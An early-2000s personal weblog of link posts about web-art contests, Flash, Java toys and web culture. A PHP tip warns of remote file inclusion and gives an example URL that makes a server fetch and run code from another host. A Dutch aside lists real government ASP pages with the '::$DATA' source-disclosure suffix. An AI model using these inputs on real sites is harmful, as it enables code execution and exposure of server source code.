weblog/photolog by Milo Vermeulen milov.nl

Code rush! Below are my last-minute submissions for the 4k compo. Some brand new elements, some reworkings of old i.am/bald favourites:

��- oldskool (4096 bytes, DHTML)
��- Silhouettes (4091 bytes, DHTML)
��- Snow (2914 bytes, Java)



Leuk jaaroverzicht van Hoogerbrugge, in Flash natuurlijk! [via 960tlA]

Reminder: there's still a couple of days left to submit (or possibly even create) something for the 4k web-art compo. Get busy...

The story of Curious George W. [via CamWorld]



Sooperficial is pretty neat. Its posts consist entirely of quotes from other weblogs. [via Vicious Thinks]

'Ik haat ramen!' - Het staat er echt. [via Alt0169]

Thanks to the new Archived-links section, I hardly have any use for the IE Favorites folder anymore. Daily or frequently visited sites go here, anything I want to save or visit later goes here. Oh, and you can still submit sites here.



Spooky... Nickd's mp3otd just happened to be the very track I was listening to while reading his weblog entry just now...

Evolving Virtual Creatures - I remember seeing animations of these 'blockies' on tv a long time ago, and being quite amazed. More here. [via Little Spikey Land]



Napster 2.0 beta 8 is out.

I've made a random snowflake generator in Java, gives me the opportunity to finally upload something to the /code/java/ directory. Also try viewing it from a distance. Helpful reference: 2D Math.



Photo and video (1.3MB) of a jet causing a sonic boom cloud at the moment of breaking the sound barrier. [via jimwich]

Student suspended for taking teachers challenge [via nickd.org]

Dream Blog, interesting. [via random blog link]

Here's a little advice for any fellow PHP-scripters out there, I've noticed this on several sites now (starting with Tonie.net).

If you're using include() in your scripts, be careful you don't literally use a parameter in your urls to include local files. Include() can load and execute any PHP commands from any other server. For example, if your url looks like this:

   index.php?page=news.html

and your script does this:

   include($page);

people can write a textfile with any php commands they want and execute them on your server by simply using this url:

   index.php?page=http://someserver/php.txt


Solution: if the page you're including doesn't need to execute any php commands, use readfile(). This function will simply print the contents of the file as-is. And if your genuine include file does contain some php, try implementing some sort of if-else condition to make sure only those files get included that you want to be included.

Been getting a lot of Japanese spam lately... I found one English word in this one. At least it's somewhat more intriguing than regular spam.



For a change, try some of these Photoshop tutorials in French. Part of CTRL-ALT-F, pretty site. I like the non-obtrusive use of flash in the menu. [via MOLUV]

Interesting Deus Ex postmortem by its creator, Warren Spector. Wish I had more time to play this game... [via Apathy]



Deja.com has apparently reverted back to its original form, the searchable USENET archive that was once so popular. And just after I was actually beginning to see some usefulness in all their buyers-guide stuff. [via interconnected]



A Layman's Guide to the Supreme Court Decision - This sure clears things up... [via have browser]



Now this is a useful utility: HotAmp, control Winamp via keyboard shortcut keys while you're using any other application. Only 17KB! [via Blue's News]

(By the way, another handy Winamp trick I discovered a while ago is that you can use the scrollwheel on your mouse to slide the volume up and down.)

A Dozen Tips for Faster DHTML - Something to browse through sometime. The speed-up tips aren't all that useful, but it does contain some interesting DOM manipulation code snippets.



Mockerybird categorizes common weblog layout options: one box, no box, boxes everywhere... [via nickd.org]

History of Commander Keen [via Blue's News]


Blast from the past: Random weblog opener, updated to use the Blogstart database, rather than the now defunct webring.org webring.

Just completed a slight reworking of the Links-page, front- and back-end. I can now finally change the vertical sort-order of the link categories. For a laugh, try viewing it in Netscape 4... ouch!

You can now also submit your own sites (or other people's sites, for that matter).




When in doubt, use your own face as a menu mouseover. Has to be one of the coolest ideas for a menu I've ever seen. [via this thread on kuro5hin]

Here, have some Newsradio quotes.


Origin of Lorem Ipsum... [via Metafilter]

The Smashing Pumpkins live on: as the Smashing Peanuts! [via MusicFrom.nl]



Leuk om te zien dat een reactiesysteem dat je zelf geschreven hebt eens druk gebruikt wordt... ook al loopt het bijna uit op een flame-war.



'Does anyone here speak l33t?' [via northernlake]

Extensive illustrated overview of different online community personalities. Funny... [via two things at once]



New wallpaper (sbr), created using same random rotation technique as the previous one (swoop).



Disturbing Search Requests - entertaining group weblog for referrer-addicts, devoted entirely to obscure search queries.

Webmonkey introduction to XHTML


It's fun to read people talking about i.am/bald amongst themselves. Guess I'll post a message too...

The new 5K Contest site is alive! Built by Eric.



Overheidssites kunnen interessant zijn als je een beetje ASP wilt leren:

  minbuza.nl/zoekresultaat.asp::$DATA
  minbuza.nl/Content.asp::$DATA
  minbuza.nl/homepage.asp::$DATA

Pretty snowflake photographs [via jimwich]

Note to self: <WEB4096> deadline is this month.


Garry Kasparov talks about the inaccuracy of recorded history. [via Apathy]


Gigantic Legosaurus! [via usr/bin/girl]


Flash Is Pretty Bad - somewhat more balanced than usual critique of Flash. [via Auto Exposure]


Random weblog, Random weblog, Random weblog, Random weblog

Gezellig! chatten



14 Remaining Netscape Users Rejoice Over
Release of Netscape 6 [via Dack]



The 50 Greatest Moments in Simpsons History



Inderdaad te laat ontdekt: _hidden weblog_ is veranderd in een erg leuk Low-tech weblog, waar elke dag vrijdag is. Tevens bedenker van de term lifelog.



Virtual Palm Beach ballot, in perspective. [via memepool]

Combining PHP, MySQL and VML: live graph of the number of site-visits per day since august (IE5 only). Each day total is added to the points-parameter of the vml poly shape. Notice the various spikes caused by the Alt0169 Effect.